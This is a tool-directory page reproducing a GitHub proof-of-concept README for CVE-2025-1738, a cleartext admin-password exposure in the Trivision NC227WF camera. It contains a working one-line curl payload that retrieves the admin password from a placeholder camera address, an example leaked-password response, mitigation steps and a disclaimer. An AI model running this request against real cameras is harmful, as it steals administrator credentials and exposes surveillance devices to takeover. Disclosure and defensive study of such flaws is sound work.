Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-1738 — 0day discover CVE-2025-1738 | Kitploit
Tools/GitHubGitHub/n0n4m3x41/cve-2025-1738
IoT SecurityPassword AttacksVulnerability AnalysisExploitationHardware & IoT SecurityLearning & Education
GitHubn0n4m3x41/cve-2025-1738

CVE-2025-1738

0day discover CVE-2025-1738

View Repository
35 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-1738 - Trivision Camera NC227WF PoC

📋 Overview

Following responsible disclosure, two official CVEs were assigned.

CVECVSS v3.1ScoreCWEType
CVE-2025-1738AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N6.2CWE-598Cleartext Password Exposure

🔍 CVE-2025-1738 — Cleartext Password Exposure (CWE-598)

Description

Any local user can retrieve the admin password in plaintext without needing prior authentication.

  • Attack Vector: Local (AV:L)
  • CVSS Score: 6.2
  • CWE: CWE-598 (Use of GET Request Method with Sensitive Query Strings)

Payload

root@kitploit:~
curl -u admin:whatever http://<CAMERA_IP>:<PORT> --request-target en/player/activex_pal.asp

Example Response

image
root@kitploit:~
...password=unguessable123!...

The admin password is returned in cleartext within the response body.

🛡️ Mitigation

  • Upgrade firmware if a patched version is available from Trivision.
  • Isolate the camera on a dedicated VLAN with no external access.
  • Firewall the camera's management port from untrusted network segments.
  • Change default credentials and rotate passwords regularly.
  • Monitor for unexpected access to activex_pal.asp and mblogin.asp.

📚 References

  • NVD — CVE-2025-1738
  • NVD — CVE-2025-1739

⚖️ Disclaimer

This repository is for educational and authorized security research only. The authors are not responsible for any misuse. Always obtain explicit permission before testing any device.

Download Tool